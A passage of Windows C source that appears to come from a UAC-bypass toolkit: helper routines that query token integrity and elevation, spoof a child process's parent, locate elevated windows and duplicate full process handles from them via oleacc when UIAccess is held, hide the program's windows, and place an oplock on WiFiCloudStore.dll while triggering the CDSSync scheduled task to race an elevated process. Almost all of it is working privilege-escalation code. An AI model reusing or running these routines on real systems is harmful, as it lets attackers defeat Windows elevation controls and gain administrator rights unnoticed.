LPWSTR lpReport, lpValue = TEXT("Unknown");
WCHAR szBuffer[MAX_PATH + 1];
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
if (GetModuleFileName(NULL, (LPWSTR)&szBuffer, MAX_PATH) == 0)
return NULL;
lpReport = (LPWSTR)ucmxHeapAlloc(2 * PAGE_SIZE);
if (lpReport == NULL)
return NULL;
//
// 1. Attach module name.
//
_strncpy(lpReport, MAX_PATH, szBuffer, MAX_PATH);
//
// 2. Inherited from.
//
RtlSecureZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
status = NtQueryInformationProcess(
NtCurrentProcess(),
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&LengthNeeded);
if (NT_SUCCESS(status)) {
_strcpy(szBuffer, TEXT("\r\nInherited from PID="));
#ifdef _WIN64
u64tostr(pbi.InheritedFromUniqueProcessId, _strend(szBuffer));
#else
ultostr((ULONG)pbi.InheritedFromUniqueProcessId, _strend(szBuffer));
#endif
_strcat(lpReport, szBuffer);
_strcat(lpReport, TEXT(" ("));
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
bFound = FALSE;
ProcessList = (PSYSTEM_PROCESS_INFORMATION)ucmGetSystemInfo(SystemProcessInformation);
if (ProcessList) {
pList = ProcessList;
for (;;) {
if ((ULONG_PTR)pList->UniqueProcessId == pbi.InheritedFromUniqueProcessId) {
_strncpy(szBuffer,
MAX_PATH,
pList->ImageName.Buffer,
pList->ImageName.Length / sizeof(WCHAR));
bFound = TRUE;
break;
}
if (pList->NextEntryDelta == 0) {
break;
}
pList = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)pList) + pList->NextEntryDelta);
}
ucmxHeapFree(ProcessList);
}
if (bFound) {
_strcat(lpReport, szBuffer);
}
else {
_strcat(lpReport, TEXT("Non-existent Process"));
}
_strcat(lpReport, TEXT(")"));
}
//
// 3. Query various token releated data.
//
//
// 3.1 Integrity value.
// 3.2 User\Domain name
// 3.3 Session info
//
status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_QUERY,
&hToken);
if (NT_SUCCESS(status)) {
LengthNeeded = 0;
status = NtQueryInformationToken(
hToken,
TokenIntegrityLevel,
NULL,
0,
&LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
pTIL = (PTOKEN_MANDATORY_LABEL)ucmxHeapAlloc(LengthNeeded);
if (pTIL) {
status = NtQueryInformationToken(
hToken,
TokenIntegrityLevel,
pTIL,
LengthNeeded,
&LengthNeeded);
if (NT_SUCCESS(status)) {
dwIntegrityLevel = *RtlSubAuthoritySid(pTIL->Label.Sid,
(DWORD)(UCHAR)(*RtlSubAuthorityCountSid(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel == SECURITY_MANDATORY_UNTRUSTED_RID) {
lpValue = L"UntrustedIL";
}
else if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
lpValue = L"LowIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) //skip SECURITY_MANDATORY_MEDIUM_PLUS_RID
{
lpValue = L"MediumIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID)
{
lpValue = L"HighIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID)
{
lpValue = L"SystemIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_PROTECTED_PROCESS_RID)
{
lpValue = L"ProtectedProcessIL";
}
_strcpy(szBuffer, TEXT("\r\nPID="));
ultostr((ULONG)GetCurrentProcessId(), _strend(szBuffer));
_strcat(szBuffer, TEXT(", "));
_strncpy(_strend(szBuffer), 40, lpValue, 40);
_strcat(lpReport, szBuffer);
}
ucmxHeapFree(pTIL);
}
}
//
// Domain\User name.
//
LengthNeeded = 0;
status = NtQueryInformationToken(
hToken,
TokenUser,
NULL,
0,
&LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
ptu = (PTOKEN_USER)ucmxHeapAlloc(LengthNeeded);
if (ptu) {
status = NtQueryInformationToken(
hToken,
TokenUser,
ptu,
LengthNeeded,
&LengthNeeded);
if (NT_SUCCESS(status)) {
SecurityQualityOfService.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
SecurityQualityOfService.ImpersonationLevel = SecurityImpersonation;
SecurityQualityOfService.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
SecurityQualityOfService.EffectiveOnly = FALSE;
InitializeObjectAttributes(
&lobja,
NULL,
0L,
NULL,
NULL);
lobja.SecurityQualityOfService = &SecurityQualityOfService;
status = LsaOpenPolicy(
NULL,
&lobja,
POLICY_LOOKUP_NAMES,
&PolicyHandle);
if (NT_SUCCESS(status)) {
status = LsaLookupSids(
PolicyHandle,
1,
&ptu->User.Sid,
&ReferencedDomains,
&Names);
if ((NT_SUCCESS(status)) && (status != STATUS_SOME_NOT_MAPPED)) {
if (ReferencedDomains != NULL) {
szBuffer[0] = 0;
_strncpy(
szBuffer,
MAX_PATH,
ReferencedDomains->Domains[0].Name.Buffer,
ReferencedDomains->Domains[0].Name.Length / sizeof(WCHAR));
_strcat(lpReport, TEXT("\r\n"));
_strcat(lpReport, szBuffer);
_strcat(lpReport, TEXT("\\"));
}
if (Names != NULL) {
szBuffer[0] = 0;
_strncpy(
szBuffer,
MAX_PATH,
Names->Name.Buffer,
Names->Name.Length / sizeof(WCHAR));
_strcat(lpReport, szBuffer);
}
}
if (ReferencedDomains) LsaFreeMemory(ReferencedDomains);
if (Names) LsaFreeMemory(Names);
LsaClose(PolicyHandle);
}
}
ucmxHeapFree(ptu);
}
}
//
// Session info
//
LengthNeeded = 0;
_strcpy(szBuffer, TEXT("\r\nSessionId="));
ultostr(SessionId, _strend(szBuffer));
_strcat(lpReport, szBuffer);
_strcat(lpReport, TEXT("\r\nInteractive Winstation="));
if (ucmIsUserWinstaInteractive())
_strcat(lpReport, TEXT("yes"));
else
_strcat(lpReport, TEXT("no"));
NtClose(hToken);
}
//
// 4. Wow64
//
RtlSecureZeroMemory(&pebi, sizeof(pebi));
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
status = NtQueryInformationProcess(
NtCurrentProcess(),
ProcessBasicInformation,
&pebi,
sizeof(pebi),
NULL);
if (NT_SUCCESS(status)) {
_strcpy(szBuffer, TEXT("\r\nWOW64 Enabled="));
ultostr(pebi.IsWow64Process, _strend(szBuffer));
_strcat(lpReport, szBuffer);
}
if (ReturnData == FALSE) {
MessageBox(
GetDesktopWindow(),
lpReport,
GetCommandLine(),
MB_ICONINFORMATION);
ucmxHeapFree(lpReport);
lpReport = NULL;
}
return lpReport;
}
/*
* ucmDestroyRuntimeInfo
*
* Purpose:
*
* Release memory allocated by ucmQueryRuntimeInfo if ReturnData flag used.
*
*/
BOOLEAN ucmDestroyRuntimeInfo(
_In_ LPWSTR RuntimeInfo)
{
return ucmxHeapFree((PVOID)RuntimeInfo);
}
/*
* ucmIsUserWinstaInteractive
*
* Purpose:
*
* Return TRUE if current user operates on Winstation with visible surfaces, FALSE otherwise.
*
*/
BOOL ucmIsUserWinstaInteractive(
VOID
)
{
BOOL bResult = TRUE;
USEROBJECTFLAGS uof;
HWINSTA hWinStation;
//
// Open current winstation.
//
hWinStation = GetProcessWindowStation();
if (hWinStation) {
//
// Query winstation flags.
//
if (GetUserObjectInformation(
hWinStation,
UOI_FLAGS,
&uof,
sizeof(USEROBJECTFLAGS),
NULL))
{
//
// Are winstation has visible surfaces?
//
if ((uof.dwFlags & WSF_VISIBLE) == 0)
bResult = FALSE;
}
}
return bResult;
}
/*
* ucmIsUserHasInteractiveSid
*
* Purpose:
*
* pbInteractiveSid will be set to TRUE if current user has interactive sid, FALSE otherwise.
*
* Function return operation status code.
*
*/
NTSTATUS ucmIsUserHasInteractiveSid(
_In_ HANDLE hToken,
_Out_ PBOOL pbInteractiveSid)
{
BOOL IsInteractiveSid = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
ULONG LengthNeeded = 0;
DWORD i;
SID_IDENTIFIER_AUTHORITY SidAuth = SECURITY_NT_AUTHORITY;
PSID InteractiveSid = NULL;
PTOKEN_GROUPS groupInfo = NULL;
do {
status = NtQueryInformationToken(
hToken,
TokenGroups,
NULL,
0,
&LengthNeeded);
if (status != STATUS_BUFFER_TOO_SMALL)
break;
groupInfo = (PTOKEN_GROUPS)ucmxHeapAlloc(LengthNeeded);
if (groupInfo == NULL)
break;
status = NtQueryInformationToken(
hToken,
TokenGroups,
groupInfo,
LengthNeeded,
&LengthNeeded);
if (!NT_SUCCESS(status))
break;
status = RtlAllocateAndInitializeSid(
&SidAuth,
1,
SECURITY_INTERACTIVE_RID,
0, 0, 0, 0, 0, 0, 0,
&InteractiveSid);
if (!NT_SUCCESS(status))
break;
for (i = 0; i < groupInfo->GroupCount; i++) {
if (RtlEqualSid(
InteractiveSid,
groupInfo->Groups[i].Sid))
{
IsInteractiveSid = TRUE;
break;
}
}
} while (FALSE);
if (groupInfo != NULL)
ucmxHeapFree(groupInfo);
if (pbInteractiveSid)
*pbInteractiveSid = IsInteractiveSid;
if (InteractiveSid)
RtlFreeSid(InteractiveSid);
return status;
}
/*
* ucmIsLocalSystem
*
* Purpose:
*
* pbResult will be set to TRUE if current account is run by system user, FALSE otherwise.
*
* Function return operation status code.
*
*/
NTSTATUS ucmIsLocalSystem(
_Out_ PBOOL pbResult)
{
BOOL bResult = FALSE;
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE hToken = NULL;
ULONG LengthNeeded = 0;
PSID SystemSid = NULL;
PTOKEN_USER ptu = NULL;
SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_QUERY,
&hToken);
if (NT_SUCCESS(status)) {
status = NtQueryInformationToken(
hToken,
TokenUser,
NULL,
0,
&LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
ptu = (PTOKEN_USER)ucmxHeapAlloc(LengthNeeded);
if (ptu) {
status = NtQueryInformationToken(
hToken,
TokenUser,
ptu,
LengthNeeded,
&LengthNeeded);
if (NT_SUCCESS(status)) {
status = RtlAllocateAndInitializeSid(
&NtAuth,
1,
SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0,
&SystemSid);
if (NT_SUCCESS(status)) {
bResult = RtlEqualSid(ptu->User.Sid, SystemSid);
RtlFreeSid(SystemSid);
}
}
ucmxHeapFree(ptu);
}
else {
status = STATUS_INSUFFICIENT_RESOURCES;
}
} //STATUS_BUFFER_TOO_SMALL
NtClose(hToken);
}
if (pbResult)
*pbResult = bResult;
return status;
}
/*
* ucmGetProcessElevationType
*
* Purpose:
*
* Returns process elevation type.
*
*/
BOOL ucmGetProcessElevationType(
_In_opt_ HANDLE ProcessHandle,
_Out_ TOKEN_ELEVATION_TYPE * lpType
)
{
HANDLE hToken = NULL, processHandle = ProcessHandle;
NTSTATUS Status;
ULONG BytesRead = 0;
TOKEN_ELEVATION_TYPE TokenType = TokenElevationTypeDefault;
if (ProcessHandle == NULL) {
processHandle = GetCurrentProcess();
}
Status = NtOpenProcessToken(processHandle, TOKEN_QUERY, &hToken);
if (NT_SUCCESS(Status)) {
Status = NtQueryInformationToken(hToken, TokenElevationType, &TokenType,
sizeof(TOKEN_ELEVATION_TYPE), &BytesRead);
NtClose(hToken);
}
if (lpType)
*lpType = TokenType;
return (NT_SUCCESS(Status));
}
/*
* ucmIsProcessElevated
*
* Purpose:
*
* Returns process elevation state.
*
*/
NTSTATUS ucmIsProcessElevated(
_In_ ULONG ProcessId,
_Out_ PBOOL Elevated)
{
NTSTATUS Status;
ULONG Dummy;
HANDLE ProcessHandle, TokenHandle;
CLIENT_ID ClientId;
TOKEN_ELEVATION TokenInfo;
OBJECT_ATTRIBUTES ObAttr = RTL_INIT_OBJECT_ATTRIBUTES(NULL, 0);
ClientId.UniqueProcess = UlongToHandle(ProcessId);
ClientId.UniqueThread = NULL;
if (Elevated) *Elevated = FALSE;
Status = NtOpenProcess(&ProcessHandle, MAXIMUM_ALLOWED, &ObAttr, &ClientId);
if (NT_SUCCESS(Status)) {
Status = NtOpenProcessToken(ProcessHandle, TOKEN_QUERY, &TokenHandle);
if (NT_SUCCESS(Status)) {
TokenInfo.TokenIsElevated = 0;
Status = NtQueryInformationToken(TokenHandle,
TokenElevation, &TokenInfo,
sizeof(TOKEN_ELEVATION), &Dummy);
if (NT_SUCCESS(Status)) {
if (Elevated) *Elevated = (TokenInfo.TokenIsElevated > 0);
}
NtClose(TokenHandle);
}
NtClose(ProcessHandle);
}
return Status;
}
/*
* ucmSetEnvironmentVariable
*
* Purpose:
*
* SetEnvironmentVariable replacement.
*
*/
BOOL ucmSetEnvironmentVariable(
_In_ LPCWSTR lpName,
_In_ LPCWSTR lpValue
)
{
NTSTATUS ntStatus;
UNICODE_STRING Name, Value;
ntStatus = RtlInitUnicodeStringEx(&Name, lpName);
if (!NT_SUCCESS(ntStatus)) {
return FALSE;
}
if (lpValue) {
ntStatus = RtlInitUnicodeStringEx(&Value, lpValue);
if (!NT_SUCCESS(ntStatus)) {
return FALSE;
}
ntStatus = RtlSetEnvironmentVariable(NULL, &Name, &Value);
}
else {
ntStatus = RtlSetEnvironmentVariable(NULL, &Name, NULL);
}
return (NT_SUCCESS(ntStatus));
}
//
// OpLocks from R41N3RZUF477.
//
/*
* ucmxWaitForOpLockThread
*
* Purpose:
*
* Thread procedure to wait for oplock notification.
*
*/
DWORD WINAPI ucmxWaitForOpLockThread(
_In_ LPVOID p)
{
DWORD bret = 0;
POPLOCK_FILE_CONTEXT ofc = (POPLOCK_FILE_CONTEXT)p;
if (p == NULL) {
return 1;
}
bret = 0;
if (!GetOverlappedResult(ofc->FileHandle, &ofc->Overlapped, &bret, TRUE)) {
return 1;
}
return 0;
}
/*
* ucmWaitForOpLock
*
* Purpose:
*
* Wait for oplock notification with timeout.
* Returns TRUE if oplock was successfully acquired and signaled, FALSE otherwise.
*
*/
BOOL ucmWaitForOpLock(
_In_ POPLOCK_FILE_CONTEXT ofc,
_In_ DWORD timeout
)
{
BOOL bResult = FALSE;
DWORD exitcode = 0;
HANDLE thread = NULL;
if (ofc == NULL || ofc->Length < sizeof(OPLOCK_FILE_CONTEXT)) {
return FALSE;
}
thread = CreateThread(NULL, 0x1000, (LPTHREAD_START_ROUTINE)ucmxWaitForOpLockThread,
(LPVOID)ofc, STACK_SIZE_PARAM_IS_A_RESERVATION, NULL);
if (thread == NULL)
return FALSE;
do {
if (WaitForSingleObject(thread, timeout) != WAIT_OBJECT_0) {
TerminateThread(thread, 1);
break;
}
if (GetExitCodeThread(thread, &exitcode)) {
bResult = (exitcode == 0);
}
} while (FALSE);
CloseHandle(thread);
return bResult;
}
BOOL ucmReleaseOpLock(
_In_ POPLOCK_FILE_CONTEXT ofc
)
{
if (ofc == NULL) {
return FALSE;
}
if (ofc->Length < sizeof(OPLOCK_FILE_CONTEXT)) {
return FALSE;
}
CloseHandle(ofc->Overlapped.hEvent);
CloseHandle(ofc->FileHandle);
return TRUE;
}
BOOL ucmOpLockFile(
_In_ LPCWSTR FileName,
_In_ ACCESS_MASK DesiredAccess,
_In_ DWORD ShareMode,
_In_ BOOL Exclusive,
_In_ POPLOCK_FILE_CONTEXT ofc
)
{
DWORD bret = 0;
REQUEST_OPLOCK_INPUT_BUFFER roib;
REQUEST_OPLOCK_OUTPUT_BUFFER roob;
DWORD flags = 0;
if (FileName == NULL || ofc == NULL) {
return FALSE;
}
if (ofc->Length < sizeof(OPLOCK_FILE_CONTEXT)) {
return FALSE;
}
RtlSecureZeroMemory(&ofc->Overlapped, sizeof(OVERLAPPED));
RtlSecureZeroMemory(&roib, sizeof(roib));
RtlSecureZeroMemory(&roob, sizeof(roob));
roib.StructureLength = sizeof(roib);
roib.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
roib.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
roib.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
roob.StructureLength = sizeof(roob);
roob.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
ofc->Overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (ofc->Overlapped.hEvent == NULL) {
return FALSE;
}
flags = FILE_FLAG_OVERLAPPED;
if (GetFileAttributes(FileName) & FILE_ATTRIBUTE_DIRECTORY) {
flags |= FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT;
}
if (DesiredAccess == 0) {
DesiredAccess = GENERIC_READ;
}
ofc->FileHandle = CreateFile(FileName, DesiredAccess, ShareMode, NULL, OPEN_EXISTING, flags, NULL);
if (ofc->FileHandle == INVALID_HANDLE_VALUE) {
return FALSE;
}
if (Exclusive) {
bret = 0;
DeviceIoControl(ofc->FileHandle, FSCTL_REQUEST_OPLOCK_LEVEL_1, NULL, 0, NULL, 0, &bret, &ofc->Overlapped);
}
else {
DeviceIoControl(ofc->FileHandle, FSCTL_REQUEST_OPLOCK, &roib, sizeof(roib), &roob, sizeof(roob), NULL, &ofc->Overlapped);
}
if (GetLastError() != ERROR_IO_PENDING) {
return FALSE;
}
return TRUE;
}
//
// OpLocks from R41N3RZUF477 end.
//
/*
* ucmxHideMainWindowCallback
*
* Purpose:
*
* EnumWindows callback to hide windows belonging to current process.
*
*/
BOOL ucmxHideMainWindowCallback(
_In_ HWND hwnd,
_In_ LPARAM lParam
)
{
DWORD pid = 0;
UNREFERENCED_PARAMETER(lParam);
GetWindowThreadProcessId(hwnd, &pid);
if (pid == 0)
return TRUE;
if (GetCurrentProcessId() != pid)
return TRUE;
if (GetWindow(hwnd, GW_OWNER))
return TRUE;
if (!IsWindowVisible(hwnd))
return TRUE;
ShowWindow(hwnd, SW_HIDE);
return TRUE;
}
/*
* ucmHideMainWindow
*
* Purpose:
*
* Hide current process windows.
*
*/
VOID ucmHideMainWindow(
VOID
)
{
EnumWindows((WNDENUMPROC)ucmxHideMainWindowCallback, 0);
}
/*
* ucmCheckUIAccessPermissions
*
* Purpose:
*
* Check if current process token has UIAccess flag and high integrity level.
*
*/
BOOL ucmCheckUIAccessPermissions(
VOID)
{
BOOL bResult = FALSE;
HANDLE hToken = NULL;
BYTE tmlbuf[sizeof(TOKEN_MANDATORY_LABEL) + sizeof(SID)];
TOKEN_MANDATORY_LABEL* tml = (TOKEN_MANDATORY_LABEL*)&tmlbuf[0];
DWORD UIAccessFlag = 0;
DWORD* pdwIntegrityLevel = NULL;
DWORD retLen = 0;
do {
if (!NT_SUCCESS(NtOpenProcessToken(
NtCurrentProcess(),
MAXIMUM_ALLOWED,
&hToken)))
{
break;
}
retLen = sizeof(UIAccessFlag);
if (!GetTokenInformation(hToken, TokenUIAccess, &UIAccessFlag, sizeof(UIAccessFlag), &retLen))
break;
if (UIAccessFlag == 0)
break;
retLen = sizeof(tmlbuf);
if (!GetTokenInformation(hToken, TokenIntegrityLevel, tml, retLen, &retLen))
break;
pdwIntegrityLevel = GetSidSubAuthority(tml->Label.Sid, 0);
if (*pdwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
break;
bResult = TRUE;
} while (FALSE);
if (hToken) NtClose(hToken);
return bResult;
}
typedef HANDLE(WINAPI* pfnGetProcessHandleFromHwnd)(HWND hwnd);
/*
* ucmCallGetProcessHandleFromHwnd
*
* Purpose:
*
* Wrapper for oleacc!GetProcessHandleFromHwnd.
*
*/
HANDLE ucmCallGetProcessHandleFromHwnd(
_In_ HWND hwnd
)
{
HANDLE process = NULL;
HMODULE oleacc = NULL;
pfnGetProcessHandleFromHwnd pGetProcessHandleFromHwnd = NULL;
oleacc = LoadLibrary(L"oleacc.dll");
if (oleacc) {
pGetProcessHandleFromHwnd = (pfnGetProcessHandleFromHwnd)GetProcAddress(oleacc, "GetProcessHandleFromHwnd");
if (pGetProcessHandleFromHwnd) {
process = pGetProcessHandleFromHwnd(hwnd);
}
FreeLibrary(oleacc);
}
return process;
}
/*
* ucmCreateProcessWithParent
*
* Purpose:
*
* CreateProcess with parent process set.
*
*/
BOOL ucmCreateProcessWithParent(
_In_ LPWSTR lpCommandLine,
_In_ HANDLE hParent,
_In_ DWORD dwFlags,
_In_ WORD wShow,
_In_ PROCESS_INFORMATION* pi
)
{
SIZE_T ptsize = 0;
STARTUPINFOEX si;
LPPROC_THREAD_ATTRIBUTE_LIST ptal = NULL;
BOOL bResult = FALSE;
if (pi) {
InitializeProcThreadAttributeList(NULL, 1, 0, &ptsize);
ptal = (LPPROC_THREAD_ATTRIBUTE_LIST)ucmxHeapAlloc(ptsize);
if (ptal) {
RtlSecureZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = STARTF_FORCEOFFFEEDBACK | STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = wShow;
if (InitializeProcThreadAttributeList(ptal, 1, 0, &ptsize)) {
if (UpdateProcThreadAttribute(ptal, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL))
{
si.lpAttributeList = ptal;
bResult = CreateProcess(NULL, lpCommandLine, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | dwFlags, NULL, NULL, (STARTUPINFO*)&si, pi);
}
DeleteProcThreadAttributeList(ptal);
}
ucmxHeapFree(ptal);
}
}
return bResult;
}
/*
* ucmGetHwndFullProcessHandle
*
* Purpose:
*
* Duplicate process handle from hwnd.
*
*/
HANDLE ucmGetHwndFullProcessHandle(
_In_ HWND hwnd
)
{
HANDLE hProcess = NULL;
HANDLE hDuplicate = NULL;
hProcess = ucmCallGetProcessHandleFromHwnd(hwnd);
if (hProcess) {
DuplicateHandle(hProcess, (HANDLE)-1, (HANDLE)-1, &hDuplicate, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(hProcess);
}
return hDuplicate;
}
/*
* ucmxEnumElevatedWindows
*
* Purpose:
*
* EnumWindows callback to find first window belonging to elevated process.
*
*/
BOOL ucmxEnumElevatedWindows(
_In_ HWND hwnd,
_In_ LPARAM lParam)
{
DWORD dwPid = 0;
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
DWORD tkElvType = 0;
DWORD retLen = 0;
GetWindowThreadProcessId(hwnd, &dwPid);
if (dwPid == 0) {
// Continue to next window.
return TRUE;
}
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid);
if (hProcess == NULL) {
// Continue to next window.
return TRUE;
}
if (!OpenProcessToken(hProcess, MAXIMUM_ALLOWED, &hToken)) {
// Continue to next window.
CloseHandle(hProcess);
return TRUE;
}
CloseHandle(hProcess);
retLen = 0;
if (!GetTokenInformation(hToken, TokenElevationType, &tkElvType, sizeof(tkElvType), &retLen)) {
// Continue to next window.
CloseHandle(hToken);
return TRUE;
}
CloseHandle(hToken);
if (tkElvType == TokenElevationTypeFull) {
//
// Stop enumeration and return hwnd.
//
*(HWND*)lParam = hwnd;
return FALSE;
}
return TRUE;
}
/*
* ucmFindFirstElevatedWindow
*
* Purpose:
*
* Find first elevated window.
*
*/
HWND ucmFindFirstElevatedWindow(
VOID
)
{
HWND hwnd = NULL;
EnumWindows((WNDENUMPROC)ucmxEnumElevatedWindows, (LPARAM)&hwnd);
return hwnd;
}
/*
* ucmStartBackupLockedElevatedProcess
*
* Purpose:
*
* Create oplock on system file and run elevated task through schtasks.exe.
*
*/
BOOL ucmStartBackupLockedElevatedProcess(
_In_ POPLOCK_FILE_CONTEXT ofc
)
{
BOOL bResult = FALSE;
WCHAR szTaskCmdLine[MAX_PATH * 4];
WCHAR szOplockPath[MAX_PATH * 2];
PROCESS_INFORMATION pi;
STARTUPINFO si;
DWORD dwExitCode = 1;
if (ofc == NULL || ofc->Length < sizeof(OPLOCK_FILE_CONTEXT)) {
return FALSE;
}
RtlSecureZeroMemory(szOplockPath, sizeof(szOplockPath));
ucmxQuerySystemDirectory(szOplockPath, FALSE);
_strcpy(szTaskCmdLine, szOplockPath);
_strcat(szOplockPath, L"WiFiCloudStore.dll");
_strcat(szTaskCmdLine, L"\\schtasks.exe /RUN /TN \"\\Microsoft\\Windows\\WlanSvc\\CDSSync\" /I");
if (!ucmOpLockFile(szOplockPath,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
TRUE,
ofc))
{
return FALSE;
}
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_FORCEOFFFEEDBACK | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (!CreateProcess(NULL, szTaskCmdLine, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
ucmReleaseOpLock(ofc);
return FALSE;
}
CloseHandle(pi.hThread);
if (WaitForSingleObject(pi.hProcess, 3000) == WAIT_OBJECT_0) {
if (GetExitCodeProcess(pi.hProcess, &dwExitCode)) {
bResult = (dwExitCode == 0);
}
}
CloseHandle(pi.hProcess);
if (!bResult) {
ucmReleaseOpLock(ofc);
}
return bResult;
}